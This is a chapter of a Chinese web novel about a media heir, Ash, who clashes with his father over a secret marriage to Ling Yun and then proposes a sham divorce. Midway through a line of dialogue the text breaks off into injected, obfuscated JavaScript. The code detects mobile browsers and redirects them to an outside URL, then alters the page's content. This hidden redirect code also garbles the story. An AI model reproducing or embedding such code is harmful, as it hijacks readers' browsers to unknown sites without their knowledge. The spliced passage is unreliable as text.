在他一手创立的传媒帝国里,余威犹在。 当他推门走进会议室,所有人看向他,然后几乎同一时间站起来,向他问好。 雷吉斯目光扫过全场,最后落在主位的儿子身上。在外人面前,雷吉斯给足了他面子,留下自己的心腹跟进会议,然后把阿什叫了出来。 雷吉斯的办公室在他赋闲后依旧保留,每日有专人打扫,保证一尘不染。父子俩面对面在沙发上坐下,彼此之间并不是很亲近。 阿什已经猜到父亲要说什么了。他决定先发制人,直截了当地说道:“我会给您寄婚礼邀请函的。” “恐怕你们的婚礼办不成。”雷吉斯冷笑一声,“董事会的人告到我这里,我才知道,我的儿子结婚了。” 他身体微微前倾,浑浊的眼珠紧紧盯着阿什:“更巧的是,半小时前,我的妻子回了趟家,从她那落了灰的床头柜里,拿走了那枚戒指。阿什,我以为至少在这件事上,我们是同盟。你现在是怎么了?你坠入爱河了?像个被荷尔蒙冲昏头脑的青少年一样,为了向你的小女友证明你们的爱情,你不惜促成你的父母离婚吗?” 他顿了顿,问出那个最关键的问题:“告诉我,起码你们有签婚前财产协议。” 阿什没有立刻回答父亲连珠炮似的逼问,反而皱起眉:“拉文娜呢?” 他从未怀疑过拉文娜告密,他神通广大的父亲自有其信息渠道。但雷吉斯比拉文娜先一步到公司,拉文娜在哪里? “什么时候你才会反思,你婚姻失败的原因在于你自己?”阿什的声音冷了下来,“拉文娜当然会离开你,就像我母亲当年一样。” “阿什·艾梅洛德!”价值不菲的万宝龙钢笔被雷吉斯随手抓起,狠狠地砸过来。 阿什侧头,很轻易就躲开了。 钢笔落在手工编织的羊毛地毯上,发出沉闷的声响。 “对了,父亲,”像是没看到对方勃然大怒的脸,和捂着心脏的动作,阿什的语气依旧平淡,“纠正一下,不是什么‘小女友’。您要揣着明白装糊涂到什么时候?去年一整年陪在我身边的是一个男人,您不是一直都知道吗?以及,我们当然没有签婚前财产协议。” 他看着父亲更加铁青的脸,轻描淡写地说道:“要喝热水吗?喝热水可能会好受点。我看过您的体检报告,您并没有心脏病。” 死一般的寂静。 · 片刻后,雷吉斯怒极反笑。 已经步入老年的男人声音阴沉得像一条滑腻的蛇,他冷笑道:“审计委员会正在调查你,而我不会为你说任何一句话。” 他看着阿什,一字一句,冷漠至极:“公司已经交给你了,你要为自己的行为负全责。或许,你不在乎股价走跌,也不在乎股东们闹事,毕竟你从我这里得到的一切太过于容易。但是——” 他故意拖长了音调,欣赏着儿子脸上细微的表情变化。 “如果我们因此失去了你妹妹的抚养权呢?”雷吉斯毫不留情地戳破,“拉文娜一定会趁SEC(美国证券交易委员会)公开披露MSYL持股重大变化的时候,重启离婚官司,和我争夺阿什莉的抚养权。一旦拿到抚养权,她就会带着阿什莉毫不犹豫地回奥地利。到那时,我们再也别想见到你妹妹了。” 他看着阿什微微收紧的下颌线,知道自己的话击中了要害。雷吉斯以一种胜券在握的姿态,从怀中掏出丝绒戒盒,扔给儿子:“我很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145739|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期待你的选择。” · 雷吉斯走得干脆,留阿什在董事长办公室里,迅速理清了整件事的逻辑: 他没有和凌云签婚前财产协议,密切关注大股东重大个人变动,以防止股权和控制权变化的董事会和审计委员会,已经于第一时间知道了他结婚的事,并向公司最高决策人——也就是他父亲——问责。 很快,SEC也会得知消息并进行强制的公开披露。 而凌云,在《荣耀之台》首播后,他在网络上的公众形象并不算好,甚至可以说争议非常大。 一旦“艾梅洛德家族的继承人秘密与亚裔男模闪婚”的消息被披露,结合拉文娜必然会趁机重启离婚官司,完全能预见到接下来巨大的舆论风暴和股价震荡。 很有可能像父亲说的那样,他们会失去阿什莉。 这是阿什绝对无法接受的。 男人走到巨大的落地窗前,俯瞰着下方蚂蚁般的车流。他从口袋里摸出烟盒,抽出一支点燃。 橘子味的女式香烟因为其特别添加的柑橘精油,其实比传统香烟更加提神。 想想怎么办。需要一个能暂时稳住局面、争取时间的办法。 · 时间拉回现在,意大利餐厅浪漫的卡座里。 烛光摇曳,爵士乐慵懒。不过这些都不重要。 阿什的叙述条理清晰,逻辑严密,从电话、冲突,到潜在危机,层层递进。凌云从冗长的、复杂的句子里,只捕捉到一个关键词—— “你要跟我离婚?”他难以置信地问。 “不是真的离婚,是……” “啪!” 突如其来的一巴掌,打人的和挨打的那个都愣住了。 几秒后,男人把被打偏的脸转回来,面无表情地看着凌云。 “不是故意的。”甩了甩有些发麻的手掌,凌云的脸上却没有什么歉意,他一本正经地解释道,“刚刚有一瞬间觉得你真的太混蛋了,手自己扇了过去。你不会介意吧?” “不介意。”顿了顿,他飞快地解释道,“是假离婚,我保证。只是权宜之计,为了争取时间处理一些麻烦。我会把我名下除股权外的所有资产都转移给你,作为……” 他拿出戒盒,推到凌云面前:“等我处理好这些事,我们就……” “我不想听。”凌云一边揉着手腕,一边说道,“不管你许诺什么我都不想听。” “你也很喜欢阿什莉。”阿什几乎是在恳求他。 “是,我很喜欢她。但是你不觉得到底是和妈妈一起回奥地利,还是和爸爸哥哥一起待在美国——你们应该询问阿什莉自己的意见吗?” “至于假离婚。”青年顿了顿,在男人反应过来之间,又是一巴掌扇过去,“醒醒,我真没空和你闹了。”